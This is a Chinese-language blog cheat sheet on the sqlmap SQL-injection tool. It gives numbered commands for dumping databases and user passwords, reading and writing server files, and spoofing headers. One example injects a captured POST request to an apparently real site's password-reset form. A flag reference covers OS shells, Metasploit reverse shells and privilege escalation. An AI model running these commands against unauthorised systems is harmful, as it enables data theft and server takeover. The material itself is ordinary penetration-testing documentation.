文章浏览 复制本页面地址

sqlmap 总结使用篇

a、sqlmap.py -u http://localhost:802/1.php?userid=1 -f -b –current-user –current-db -v 1 读取数据库版本,当前用户,当前数据库

b、sqlmap.py -u http://localhost:802/1.php?userid=1 –privileges -U 用户名-v 1 判断当前数据库用户权限
 
1、sqlmap.py -u http://localhost:802/1.php?userid=1 –is-dba -U 用户名-v 1  判断是否为DBA

2、sqlmap.py -u http://localhost:802/1.php?userid=1 --users -v 0  列举数据库用户

3、sqlmap.py -u http://localhost:802/1.php?userid=1 --passwords -v 0  获取用户密码

4、sqlmap.py -u http://localhost:802/1.php?userid=1 --databases -v 0  获取用户密码

5、sqlmap.py -u http://localhost:802/1.php?userid=1 --tables -D zztest 获取数据库表

6、sqlmap.py -u http://localhost:802/1.php?userid=1 -D zztest -T aaa --columns 获取数据库表的列

7、sqlmap.py -u http://localhost:802/1.php?userid=1 --dump -T aaa --start 2 --stop 4 -v 0  导出表的指定行

8、sqlmap.py -u http://localhost:802/1.php?userid=1 --sql-query "select * from zztest.aaa limit 1" -v 0  导出表的指定行

9、sqlmap.py -u http://localhost:802/1.php?userid=1 --dump -T aaa -C "id,namecn" (-s "sqlnmapdb.log" -v 2  【可选】) 导出表的指定列

10、sqlmap.py -u http://localhost:802/1.php?userid=1 -b –file-write /test/test.txt –file-dest /var/www/html/1.txt -v 2 写文件

12、sqlmap.py -u http://localhost:802/1.php?userid=1 --file-read "F:\1.txt" -v 2  读取文件

13、sqlmap.py -r test.txt -p comEmail -D 66makesite  --dump -T company --start 2 --stop 4 -v 0

14、sqlmap.py -r test.txt -p comEmail --dbms mysql --dbs -D 66makesite  --tables -T bindUserCompany --dump

15、sqlmap.py -r test.txt -p comEmail --file-read "/home/uu157526/fileCompany/1.txt" -v 2

16、sqlmap.py -r test.txt -p comEmail --file-write "1.txt" "/home/uu157526/fileCompany/1.txt" -v 2

17、sqlmap.py -u "http://localhost:802/1.php" --data "comEmail=1260697885%40qq.com"  POST 渗透

18、sqlmap.py -r test.txt -p comEmail --dbms mysql --dbs -D zztest  --tables
    *********************test.txt 可以借助firfox 获取********************
POST /mypage/forget_password.html HTTP/1.0
Host: www.66makesite.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:802/1.php
Cookie: PHPSESSID=3ktodmouvdfj1kh51rsvdbhhp2; Hm_lvt_2d4a8f33dc69329c770a925fce1a0ff5=1362712466; Hm_lpvt_2d4a8f33dc69329c770a925fce1a0ff5=1362739690; __utma=241096452.1256351694.1362712466.1362733341.1362739639.4; __utmc=241096452; __utmz=241096452.1362712466.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=241096452.2.10.1362739639
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 96

action=find&comEmail=1260697885%40qq.com&cert=7L57&submit=+%E6%89%BE%E5%9B%9E%E5%AF%86%E7%A0%81+

   *********************test.txt********************

19、使用referer欺骗

python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer "http://www.google.com" -v 3

20、使用自定义user-agent,或者使用随机使用自带的user-agents.txt

python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
21、指定数据库,绕过SQLMAP的自动检测

python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --dbms "PostgreSQL"

22、查看用户权限
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges -U postgres -v 0
23、sql query 执行
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query "SELECT usename FROM pg_user" -v 0

24、保存和恢复会话
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 -s "sqlmap.log"
25、保存选项到INC配置文件
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 --save

 

手册:
-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “”#指定数据库名
-T “”#指定表名
-C “”#指定字段
-s “”#保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “
 
xx.log” –resume)
–columns #列出字段
–current-user #获取当前用户名称
–current-db #获取当前数据库名称
–users #列数据库所有用户
–passwords #数据库用户所有密码
–privileges #查看用户权限(–privileges -U root)
-U #指定数据库用户
–dbs #列出所有数据库
–tables -D “”#列出指定数据库中的表
–columns -T “user”-D “mysql”#列出mysql数据库中的user表的所有字段
–dump-all #列出所有数据库所有表
–exclude-sysdbs #只列出用户自己新建的数据库和表
–dump -T “”-D “”-C “”#列出指定数据库的表的字段的数据(–dump -T users -D master
 
-C surname)
–dump -T “”-D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft
 
Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
–privileges #查看权限
–is-dba #是否是数据库管理员
–roles #枚举数据库用户角色
–udf-inject #导入用户自定义函数(获取系统权限)
–union-check #是否支持union 注入
–union-cols #union 查询表记录
–union-test #union 语句测试
–union-use #采用union 注入
–union-tech orderby #union配合order by
–method “POST” –data “”#POST方式提交数据(–method “POST” –data “page=1&id=2″)
–cookie “用;号分开”#cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52;
 
security=low”)
–referer “”#使用referer欺骗(–referer “http://www.baidu.com”)
–user-agent “”#自定义user-agent
–proxy “http://127.0.0.1:8118″#代理注入
–string “”#指定关键词
–threads   #采用多线程(–threads 3)
–sql-shell #执行指定sql命令
–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user =
 
‘root’LIMIT 0, 1″)
–file-read #读取指定文件
–file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将
 
本地的test.txt文件写入到目标的1.txt)
–file-dest #要写入的文件绝对路径
–os-cmd=id #执行系统命令
–os-shell #系统交互shell
–os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)
–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #读取win系统注册表
–priv-esc #
–time-sec= #延迟设置 默认–time-sec=5 为5秒
-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)”#指定
 
user-agent注入
–eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt  字段字典
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt

标签:
上一篇:
下一篇: